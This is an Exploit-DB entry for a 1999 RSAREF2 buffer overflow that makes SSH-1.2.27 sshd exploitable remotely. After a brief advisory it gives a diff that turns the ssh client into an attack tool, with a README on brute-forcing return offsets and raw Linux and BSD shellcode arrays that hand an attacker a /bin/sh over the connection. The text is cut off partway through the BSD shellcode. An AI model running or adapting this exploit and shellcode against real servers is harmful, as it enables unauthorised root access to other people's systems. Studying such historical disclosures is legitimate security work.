Exploit-DB #19655
Description: RSA Security RSAREF 2.0 - Local Buffer Overflow
Type: local
Platform: linux
Date: 1999-12-14
Author: Alberto Solino

Exploit:
source: https://www.securityfocus.com/bid/843/info

A buffer overflow vulnerability exists in the RSAREF cryptographic library which may possibly make any software using the library vulnerable.

The vulnerability exists in four functions in the rsa.c source file. The functions are:

int RSAPublicEncrypt()
int RSAPrivateEncrypt()
int RSAPublicDecrypt()
int RSAPrivateDecrypt()

All these function define a local variable called pkcsBlock of 128 byte length which can be overflowed making it possible to execute arbitrary code.

This vulnerability, in conbination with BUGTRAQ ID 797, allows versions of both the SSH client and server linked against the RSAREF2 library to be vulnerable to a remote exploit.

Programs linked against the SSLeay and OpenSSL libraries are not vulnerable as these libraries check the modulus lenght is not longer than what the RSAREF library can handle (MAX_RSA_MODULUS_LEN) in the RSAref_Public_eay2ref() and RSAref_Private_eay2ref() glue functions. 

diff -N -c ssh-1.2.27/README.coresdi ssh-1.2.27-exploit/README.coresdi
*** ssh-1.2.27/README.coresdi	Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/README.coresdi	Tue Dec 14 19:21:10 1999
***************
*** 0 ****
--- 1,32 ----
+ /*
+  *
+  * Descrition: Exploit code for SSH-1.2.27 sshd with rsaref2 compiled in
+  * (--with-rsaref)
+  *
+  * Author: Alberto Solino <Alberto_Solino@core-sdi.com>
+  *
+  * Copyright (c) 1999 CORE SDI S.A., Buenos Aires, Argentina.
+  * All rights reserved.
+  *
+  *
+  * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES
+  * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY DIRECT,
+  * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES RESULTING
+  * FROM THE USE OR MISUSE OF THIS SOFTWARE.
+  *
+  */
+ 
+ Tested on
+   SSH-1.2.27 Linux RedHat 6.0
+   SSh-1.2.27 OpenBSD 2.6
+ 
+ Details
+   Relies on offsets taken from JUMP_TO_MY_KEY that are different on
+   different boxes.
+   If it doesnt work, check inside incoming.buf for the string "BETO"
+   and find the proper offsets from there.
+   Additionally, the -f nad -t options are available, to  provide
+   a range of addresses and try to brute force remotely the right 
+   one.
+   Specify the target os type with -o
+ 
Binary files ssh-1.2.27/exploit_key and ssh-1.2.27-exploit/exploit_key differ
diff -N -c ssh-1.2.27/exploit_key.pub ssh-1.2.27-exploit/exploit_key.pub
*** ssh-1.2.27/exploit_key.pub	Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/exploit_key.pub	Tue Nov 30 01:14:10 1999
***************
*** 0 ****
--- 1 ----
+ 1024 35[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]144741 root@jack
Common subdirectories: ssh-1.2.27/gmp-2.0.2-ssh-2 and ssh-1.2.27-exploit/gmp-2.0.2-ssh-2
diff -N -c ssh-1.2.27/history ssh-1.2.27-exploit/history
*** ssh-1.2.27/history	Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/history	Tue Nov 16 21:41:36 1999
***************
*** 0 ****
--- 1,7 ----
+ Tue Nov 16 19:58:04 ART 1999
+ En RSAPrivateBlock, no calcula la longitud de salida del buffer, simplemente copia
+ el tamanio del modulo que esta en privatekey, pero la longitud de los numeros 
+ nunca es mayor que 128.
+ Tue Nov 16 21:41:15 ART 1999
+ overflow en RSAPrivateDecrypt????!?!?!??!?!?! who knows!! fijarse...
+ 
Common subdirectories: ssh-1.2.27/rsaref2 and ssh-1.2.27-exploit/rsaref2
diff -N -c ssh-1.2.27/ssh.c ssh-1.2.27-exploit/ssh.c
*** ssh-1.2.27/ssh.c	Wed May 12 08:19:28 1999
--- ssh-1.2.27-exploit/ssh.c	Tue Dec 14 19:03:59 1999
***************
*** 202,208 ****
  #include "readconf.h"
  #include "userfile.h"
  #include "emulate.h"
- 
  #ifdef LIBWRAP
  #include <tcpd.h>
  #include <syslog.h>
--- 202,207 ----
***************
*** 212,217 ****
--- 211,249 ----
  int allow_severity = LOG_INFO;
  int deny_severity = LOG_WARNING;
  #endif /* LIBWRAP */
+ #ifdef SSH_EXPLOIT
+ #define BETO_STR 0x80850f8
+ unsigned long exp_offset=BETO_STR;
+ unsigned long exp_offset_to=BETO_STR;
+ unsigned char *shell_code;
+ unsigned long shell_code_len=0;
+ unsigned char linux_shell_code[]=
+ {0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90    ,0x90
+ ,0xeb    ,0x44    ,0x5e    ,0x89    ,0x76
+ ,0x08    ,0x31    ,0xc0    ,0x88    ,0x46    ,0x07    ,0x89    ,0x46
+ ,0x0c    ,0x56    ,0xb9    ,0x00    ,0x00    ,0x00    ,0x00    ,0xbb
+ ,0x05    ,0x00    ,0x00    ,0x00    ,0xb0    ,0x3f    ,0xcd    ,0x80
+ ,0xb9    ,0x01    ,0x00    ,0x00    ,0x00    ,0xbb    ,0x05    ,0x00
+ ,0x00    ,0x00    ,0xb0    ,0x3f    ,0xcd    ,0x80    ,0xb9    ,0x02
+ ,0x00    ,0x00    ,0x00    ,0xbb    ,0x05    ,0x00    ,0x00    ,0x00
+ ,0xb0    ,0x3f    ,0xcd    ,0x80    ,0x5e    ,0xb0    ,0x0b    ,0x89
+ ,0xf3    ,0x8d    ,0x4e    ,0x08    ,0x8d    ,0x56    ,0x0c    ,0xcd
+ ,0x80    ,0xe8    ,0xb7    ,0xff    ,0xff    ,0xff    ,0x2f    ,0x62
+ ,0x69    ,0x6e    ,0x2f    ,0x73    ,0x68    ,0x00};
+ unsigned char bsd_shell_code[]=
+ {0x90,    0x90,    0x90,    0x90,    0x90,    0x90,    0x90,
+  0xeb,    0x45,    0x5e,    0x89,    0x76,    0x08,    0x31,    0xc0,
+  0x88,    0x46,    0x07,    0x89,    0x46,    0x0c,    0x6a,    0x00,
+  0x6a,    0x05,    0x51,    0xb8,    0x5a,    0x00,    0x00,    0x00,
+  0xcd,    0x80,    0x6a,    0x01,    0x6a,    0x05,    0x51,    0xb8,
+  0x5a,    0x00,    0x00,    0x00,    0xcd,    0x80,    0x6a,    0x02,
+  0x6a,    0x05,    0x51,    0xb8,    0x5a,    0x00,    0x00,    0x00,
+  0xcd,    0x80,    0x6a,    0x00,    0x8d,    0x46,    0x08,    0x50,
+  0x8b,    0x46,    0x08,    0x50,    0xb8,    0x3b,    0x00,    0x00,
+  0x00,    0x31,    0xc9,    0x41,    0x51,    0xcd,    0x80,    0xe8,
+  0xb6,    0xff,    0xf